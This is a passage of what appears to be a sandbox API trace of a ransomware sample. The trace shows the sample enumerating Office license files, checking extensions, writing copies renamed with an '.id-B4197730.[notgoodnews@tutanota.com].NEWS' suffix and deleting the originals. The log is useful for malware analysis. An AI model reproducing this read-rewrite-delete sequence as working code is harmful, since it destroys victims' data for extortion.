-1 [0188.559] lstrlenW (lpString=".ppt") returned 4 [0188.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.559] lstrlenW (lpString=".zip") returned 4 [0188.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".rar") returned 4 [0188.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".bz2") returned 4 [0188.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".7z") returned 3 [0188.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.559] lstrlenW (lpString=".dbf") returned 4 [0188.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.560] lstrlenW (lpString=".1cd") returned 4 [0188.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.560] lstrlenW (lpString=".jpg") returned 4 [0188.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.560] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.560] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33 [0188.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.084] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11620) returned 1 [0189.084] CloseHandle (hObject=0x57c) returned 1 [0189.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0189.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.084] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.084] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0189.085] GetLastError () returned 0x0 [0189.085] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d64, lpOverlapped=0x0) returned 1 [0189.087] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0189.088] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.088] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0189.088] SetEndOfFile (hFile=0x580) returned 1 [0189.088] CloseHandle (hObject=0x580) returned 1 [0189.088] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.088] SetEndOfFile (hFile=0x57c) returned 1 [0189.145] CloseHandle (hObject=0x57c) returned 1 [0189.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0189.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.147] lstrlenW (lpString=".doc") returned 4 [0189.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".docx") returned 5 [0189.147] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.147] lstrlenW (lpString=".pdf") returned 4 [0189.147] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".xls") returned 4 [0189.147] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".xlsx") returned 5 [0189.147] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.147] lstrlenW (lpString=".ppt") returned 4 [0189.147] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.147] lstrlenW (lpString=".zip") returned 4 [0189.147] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".rar") returned 4 [0189.147] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".bz2") returned 4 [0189.147] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString=".7z") returned 3 [0189.147] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.147] lstrlenW (lpString=".dbf") returned 4 [0189.147] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.147] lstrlenW (lpString=".1cd") returned 4 [0189.147] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".jpg") returned 4 [0189.148] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".doc") returned 4 [0189.148] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".docx") returned 5 [0189.148] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.148] lstrlenW (lpString=".pdf") returned 4 [0189.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".xls") returned 4 [0189.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".xlsx") returned 5 [0189.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.148] lstrlenW (lpString=".ppt") returned 4 [0189.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".zip") returned 4 [0189.148] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".rar") returned 4 [0189.148] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".bz2") returned 4 [0189.148] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString=".7z") returned 3 [0189.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".dbf") returned 4 [0189.148] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".1cd") returned 4 [0189.148] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0189.148] lstrlenW (lpString=".jpg") returned 4 [0189.148] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.149] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.149] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31 [0189.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.150] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9613) returned 1 [0189.150] CloseHandle (hObject=0x57c) returned 1 [0189.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0189.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.151] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.151] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0189.153] GetLastError () returned 0x0 [0189.153] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x258d, lpOverlapped=0x0) returned 1 [0189.158] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2590, lpOverlapped=0x0) returned 1 [0189.159] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.159] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x112, lpOverlapped=0x0) returned 1 [0189.160] SetEndOfFile (hFile=0x580) returned 1 [0189.160] CloseHandle (hObject=0x580) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.160] SetEndOfFile (hFile=0x57c) returned 1 [0189.163] CloseHandle (hObject=0x57c) returned 1 [0189.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1 [0189.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.165] lstrlenW (lpString=".doc") returned 4 [0189.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.165] lstrlenW (lpString=".docx") returned 5 [0189.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.166] lstrlenW (lpString=".pdf") returned 4 [0189.166] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString=".xls") returned 4 [0189.166] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString=".xlsx") returned 5 [0189.166] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.166] lstrlenW (lpString=".ppt") returned 4 [0189.166] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString=".zip") returned 4 [0189.166] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString=".rar") returned 4 [0189.166] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString=".bz2") returned 4 [0189.166] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString=".7z") returned 3 [0189.166] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString=".dbf") returned 4 [0189.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString=".1cd") returned 4 [0189.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString=".jpg") returned 4 [0189.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.166] lstrlenW (lpString=".doc") returned 4 [0189.167] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.167] lstrlenW (lpString=".docx") returned 5 [0189.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.167] lstrlenW (lpString=".pdf") returned 4 [0189.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.167] lstrlenW (lpString=".xls") returned 4 [0189.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString=".xlsx") returned 5 [0189.184] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.184] lstrlenW (lpString=".ppt") returned 4 [0189.184] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.184] lstrlenW (lpString=".zip") returned 4 [0189.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString=".rar") returned 4 [0189.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString=".bz2") returned 4 [0189.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString=".7z") returned 3 [0189.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.184] lstrlenW (lpString=".dbf") returned 4 [0189.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.184] lstrlenW (lpString=".1cd") returned 4 [0189.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0189.184] lstrlenW (lpString=".jpg") returned 4 [0189.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.185] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.185] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25 [0189.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.186] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10635) returned 1 [0189.186] CloseHandle (hObject=0x57c) returned 1 [0189.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0189.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.187] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.187] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.450] GetLastError () returned 0x0 [0189.450] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x298b, lpOverlapped=0x0) returned 1 [0189.452] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2990, lpOverlapped=0x0) returned 1 [0189.453] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x106, lpOverlapped=0x0) returned 1 [0189.453] SetEndOfFile (hFile=0x56c) returned 1 [0189.454] CloseHandle (hObject=0x56c) returned 1 [0189.454] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.454] SetEndOfFile (hFile=0x57c) returned 1 [0189.457] CloseHandle (hObject=0x57c) returned 1 [0189.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1 [0189.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.459] lstrlenW (lpString=".doc") returned 4 [0189.459] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".docx") returned 5 [0189.459] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.459] lstrlenW (lpString=".pdf") returned 4 [0189.459] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".xls") returned 4 [0189.459] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".xlsx") returned 5 [0189.459] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.459] lstrlenW (lpString=".ppt") returned 4 [0189.459] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.459] lstrlenW (lpString=".zip") returned 4 [0189.459] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".rar") returned 4 [0189.459] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".bz2") returned 4 [0189.459] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString=".7z") returned 3 [0189.459] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.459] lstrlenW (lpString=".dbf") returned 4 [0189.459] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".1cd") returned 4 [0189.460] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".jpg") returned 4 [0189.460] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".doc") returned 4 [0189.460] lstrcmpiW 